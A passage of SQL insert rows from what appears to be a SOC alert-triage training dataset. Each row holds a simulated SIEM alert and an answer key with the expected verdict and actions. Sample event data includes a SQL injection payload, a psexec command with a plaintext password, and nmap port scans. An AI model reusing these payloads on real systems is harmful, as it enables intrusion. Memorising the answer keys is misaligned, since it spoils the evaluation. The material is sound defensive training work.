(1821, 'Benign System Health Check Detected as Lateral Movement', 'low', 'Elastic SIEM', 'A series of network connections between internal systems were detected, resembling lateral movement. These are part of a routine system health check script.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.5\",\"dst_ip\":\"192.168.10.20\",\"hostname\":\"monitoring-server\",\"command_line\":\"check_system_health.sh\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of monitoring server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the system being checked\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"check_system_health.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine system health check script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"These connections are part of routine health checks and not indicative of unauthorized lateral movement.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"hostname\\\":\\\"monitoring-server\\\",\\\"command_line\\\":\\\"check_system_health.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1822, 'Network Monitoring Tool Triggering Phishing Alert', 'medium', 'Splunk', 'Traffic from a network monitoring tool was detected, initially flagged as phishing due to its unusual activity patterns. Further review confirms it as legitimate monitoring traffic.', 'Phishing', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.3.20\",\"dst_ip\":\"198.51.100.10\",\"hostname\":\"network-mon\",\"url\":\"http://trusted.monitoring.com/status\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of network monitoring server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted network monitoring service\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://trusted.monitoring.com/status\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is part of a legitimate network monitoring tool\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The network traffic was generated by a legitimate monitoring tool and not indicative of a phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.355Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:00:12Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"hostname\\\":\\\"network-mon\\\",\\\"url\\\":\\\"http://trusted.monitoring.com/status\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1823, 'Suspicious Process Execution Detected', 'low', 'Splunk', 'A routine system health check triggered a process execution alert. The command used is commonly associated with administrative tasks.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin_user\",\"hostname\":\"server01\",\"command_line\":\"psexec \\\\\\\\10.0.0.10 -u admin -p password123\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for administrative management.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.0.10 -u admin -p password123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized administrative tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command line activity is consistent with routine administrative tasks.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1824, 'Failed Login Attempts from Foreign IP', 'medium', 'Azure Sentinel', 'Multiple failed login attempts detected from an IP associated with a routine vulnerability scanning service.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.2\",\"username\":\"user_test\",\"hostname\":\"workstation01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported as part of legitimate vulnerability scanning services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is known for legitimate scanning activities.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1825, 'Routine Web Request with Suspicious Payload', 'medium', 'Wazuh', 'A web request containing an SQL-like payload was detected, originating from an internal monitoring tool.', 'Web Attack', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"10.0.1.2\",\"dst_ip\":\"192.168.1.100\",\"hostname\":\"webserver01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal IP address related to monitoring.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Payload part of routine testing by internal tools.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is part of internal testing by authorized personnel.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1826, 'Unauthorized SSH Login Attempt', 'high', 'Elastic SIEM', 'An unauthorized SSH login attempt was detected from an external IP address.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.8\",\"username\":\"root\",\"hostname\":\"server02\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP is associated with known malicious activity.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1827, 'Benign Email Containing Potentially Malicious URL', 'medium', 'Proofpoint', 'An email was flagged for containing a URL typically seen in phishing attempts, but it belongs to a trusted partner.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"192.168.1.50\",\"email_sender\":\"partner@example.com\",\"url\":\"http://trustedpartner.com/login\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"partner@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Email belongs to a known trusted partner.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://trustedpartner.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"URL verified as safe and belongs to a trusted domain.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender are verified as legitimate and trusted.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1828, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'A high volume of network connections was detected from an internal scanning tool. This activity is consistent with routine vulnerability assessments conducted by IT.', 'Network Scan', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.200\",\"username\":\"scanner_account\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.200\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP used for authorized vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS -p 1-65535 192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Command consistent with routine vulnerability scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"The detected activity was verified as part of scheduled IT security assessments.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1829, 'Authorized Administrative Backup Activity', 'low', 'Wazuh', 'A backup process was initiated by an authorized admin user. This activity matches the scheduled backup routine.', 'Data Transfer', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server-01\",\"command_line\":\"rsync -av /data /backup/\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of authorized backup server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av /data /backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Authorized backup command executed by admin.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"The activity is part of a scheduled administrative task for data backup.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1830, 'Benign System Health Check Activity', 'low', 'Azure Sentinel', 'System health check performed by an internal monitoring tool. The detected activity aligns with routine system maintenance procedures.', 'System Monitoring', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.75\",\"username\":\"monitor\",\"hostname\":\"health-check-01\",\"command_line\":\"check_system_health -t all\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of system monitoring server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_system_health -t all\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Command executed by internal monitoring tool.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"The activity was confirmed as part of a routine system health check.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1831, 'Misconfigured Legacy Application Detected', 'medium', 'Elastic SIEM', 'Unusual traffic patterns noted from a legacy application server. The application is known for generating false positives due to outdated configurations.', 'Network Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.10.10.10\",\"dst_ip\":\"10.10.10.20\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server-01\",\"command_line\":\"legacy_app.exe\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.10.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"internal\",\"details\":\"Internal IP of misconfigured legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"legacy_app.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"Known false positive due to outdated application settings.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"Activity is consistent with the legacy application\'s known behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1832, 'Valid Administrative Login from Unusual Location', 'medium', 'Splunk', 'A valid login was detected from an unusual geographic location for a user account. However, this was verified as the user\'s authorized travel.', 'Credential Use', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.1.5\",\"username\":\"jdoe\",\"hostname\":\"vpn-gateway\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with unusual login activity but verified as user travel.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"User confirmed to be traveling and using authorized access.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_use\",\"analysis_notes\":\"Login was verified as legitimate due to user travel.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1833, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'Multiple network connections were detected originating from an internal vulnerability scanner. This is part of routine security checks.', 'Network Activity', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.1\",\"username\":\"scanner_account\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.1\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for authorized internal scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"This is a scheduled internal vulnerability scan.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1834, 'Authorized Administrative Backup Activity', 'low', 'Azure Sentinel', 'A scheduled backup operation was detected on critical servers. This is part of routine data protection procedures.', 'Data Backup', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server-01\",\"command_line\":\"backup.exe /run /source:server01 /dest:backup-server-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP involved in backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"backup.exe /run /source:server01 /dest:backup-server-01\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified as a legitimate backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_backup\",\"analysis_notes\":\"Scheduled backup job as part of data protection strategy.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1835, 'Routine System Health Check Activity', 'low', 'Wazuh', 'System health monitoring detected an increase in process execution from a known maintenance script.', 'System Monitoring', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"hostname\":\"monitor-01\",\"username\":\"monitor_service\",\"command_line\":\"healthcheck.sh --all\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IP of the health monitoring server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"healthcheck.sh --all\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a routine system health check command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"This activity is part of scheduled system health checks.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1836, 'Misconfigured Legacy Application Detected', 'medium', 'Elastic SIEM', 'A legacy application was identified making unusual network requests. This behavior is due to misconfiguration.', 'Network Activity', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:20:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.42\",\"dst_ip\":\"203.0.113.200\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity associated with this external IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"Legacy application is misconfigured, causing unusual but benign network behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1837, 'Brute Force Login Attempt from Suspicious IP', 'high', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP. Investigation confirms it is part of a brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.86.151.76\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin\",\"hostname\":\"web-server-01\",\"failed_attempts\":25}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.86.151.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Commonly targeted username in brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"OSINT confirms the IP is involved in malicious activities, validating the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1838, 'Routine Vulnerability Scan Detected', 'low', 'Splunk', 'A network scan was detected originating from an internal IT management server. This activity appears to be a routine vulnerability assessment.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:23Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"svc_scan\",\"hostname\":\"IT-Scanner-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for network management tasks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity is consistent with scheduled vulnerability scans by IT.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1839, 'Unusual Email Received from Trusted Domain', 'medium', 'Proofpoint', 'An email containing a suspicious link was received from a normally trusted domain. Investigation revealed it to be a legitimate marketing campaign.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.56\",\"email_sender\":\"newsletter@trustedcompany.com\",\"url\":\"https://trustedcompany.com/promo\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No negative reports associated with this 